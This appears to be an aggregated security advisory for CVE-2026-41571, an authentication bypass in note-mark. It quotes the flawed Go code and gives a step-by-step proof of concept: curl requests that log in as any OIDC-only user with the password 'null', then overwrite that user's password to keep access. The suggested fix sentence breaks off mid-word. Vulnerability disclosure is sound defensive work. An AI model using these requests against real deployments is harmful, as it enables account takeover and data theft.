Note Mark: OIDC-registered users authenticated by submitting password "null"
IsPasswordMatch in backend/db/models.go falls back to a hard-coded bcrypt("null") placeholder whenever a user has no stored password. OIDC-registered users are created with an empty password, so anyone who submits password: "null" to the internal login endpoint receives a valid session for that user. The bypass is unauthenticated and requires no user interaction.
backend/db/models.go:36 defines the placeholder hash used by the timing-attack mitigation inside IsPasswordMatch:
```go
var nullPasswordHash, _ = bcrypt.GenerateFromPassword([]byte("null"), bcrypt.DefaultCost)
```
IsPasswordMatch (backend/db/models.go:46-58) substitutes that placeholder when the stored password is empty:
```go
func (u *User) IsPasswordMatch(plainPassword string) bool {
var current []byte
if len(u.Password) == 0 {
// prevent CWE-208
current = nullPasswordHash
} else {
current = u.Password
}
if err := bcrypt.CompareHashAndPassword(current, []byte(plainPassword)); err == nil {
return true
}
return false
}
```
OIDC-registered users are stored with an empty password at backend/services/auth.go:102-115:
```go
return db.DB.Transaction(func(tx *gorm.DB) error {
user := db.User{
Username: username,
Password: []byte(""),
}
// ...
})
```
The internal login endpoint (POST /api/auth/token, handled at backend/services/auth.go:20-54) calls IsPasswordMatch with the caller-supplied password. For any OIDC-only user, bcrypt.CompareHashAndPassword(nullPasswordHash, []byte("null")) returns nil, the function returns true, and the server issues a Auth-Session-Token cookie.
EnableInternalLogin defaults to true, and GET /api/info discloses both OIDC configuration and internal-login status. enableAnonymousUserSearch also defaults to true, so an unauthenticated caller enumerates usernames via GET /api/users/search before touching the login endpoint.
Once the session is issued, PUT /api/users/me/password accepts existingPassword: "null" because the same IsPasswordMatch routine verifies the existing password. The caller writes a new password onto the OIDC user's row, which locks the legitimate OIDC user out on the next internal-login path.
Tested against note-mark v0.19.2.
Step 1: Start note-mark pointed at any OIDC provider and set OIDC__ENABLE_USER_CREATION=true. The defaults for ENABLE_INTERNAL_LOGIN and ENABLE_ANONYMOUS_USER_SEARCH do not need to be changed.
```bash
docker run -d --name note-mark-poc \
-e OIDC__PROVIDER_NAME=example \
-e OIDC__CLIENT_ID=note-mark \
-e OIDC__CLIENT_SECRET=secret \
-e OIDC__ISSUER_URL=https://your-oidc-provider/ \
-e OIDC__ENABLE_USER_CREATION=true \
-p 8088:8080 ghcr.io/enchant97/note-mark-backend:0.19.2
```
Step 2: Alice registers via the OIDC flow. TryCreateNewOidcUser stores her row with Password = []byte("").
Step 3: Bob confirms the preconditions.
```bash
curl -s http://localhost:8088/api/info
# {"allowInternalLogin":true,"oidcProvider":"example","enableAnonymousUserSearch":true,...}
```
Step 4: Bob logs in as Alice via the internal endpoint.
```bash
curl -i -X POST http://localhost:8088/api/auth/token \
-H 'Content-Type: application/json' \
-d '{"grant_type":"password","username":"alice","password":"null"}'
```
Response:
```
HTTP/1.1 204 No Content
Set-Cookie: Auth-Session-Token=eyJ...; Path=/; HttpOnly; SameSite=Strict
```
Step 5: Bob uses the cookie to read Alice's account.
```bash
curl -b 'Auth-Session-Token=eyJ...' http://localhost:8088/api/users/me
# {"id":"...","username":"alice","name":"Alice"}
```
Step 6: Bob persists access by writing his own password onto Alice's row.
```bash
curl -i -b 'Auth-Session-Token=eyJ...' -X PUT \
http://localhost:8088/api/users/me/password \
-H 'Content-Type: application/json' \
-d '{"existingPassword":"null","newPassword":"bob-owns-this-now"}'
# HTTP/1.1 204 No Content
```
Alice's next internal-login attempt fails; her OIDC flow still works, but Bob now holds a second valid credential on the same row.
A companion script that drives all six steps ships at pocs/poc_014_null_password_bypass.sh.
Every OIDC-only user on a note-mark deployment with ENABLE_INTERNAL_LOGIN=true (the default) is one HTTP request from takeover. Bob reads Alice's private notebooks, her note markdown, and her uploaded assets. He writes, edits, or deletes anything Alice owns. Step 6 grants persistent access and costs Alice her account until the maintainer clears the row by hand.
The default configuration ships both authentication paths side by side, so any site that turns on OIDC is affected without further misconfiguration on the operator's part.
The clearest fix rejects the login path for rows with no stored password. Add the check after the user lookup in `GetA
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability low.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
CVE-2026-41571 is classified as CWE-287: Improper Authentication. The identity of the caller is not established correctly, so an attacker can act as another user.
CVE-2026-41571 is recorded against 2 packages.
Published on 25 April 2026 and last revised on 25 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
github.com (Web)
github.com/enchant97/note-mark/backend has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-287: Improper Authentication) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| github.com/enchant97/note-mark/backend | — | — |
| unknown | — | — |
References
Similar Threats
Exploit Protection
CVE-2026-41571 carries CVSS 9.5 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2026-41571 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.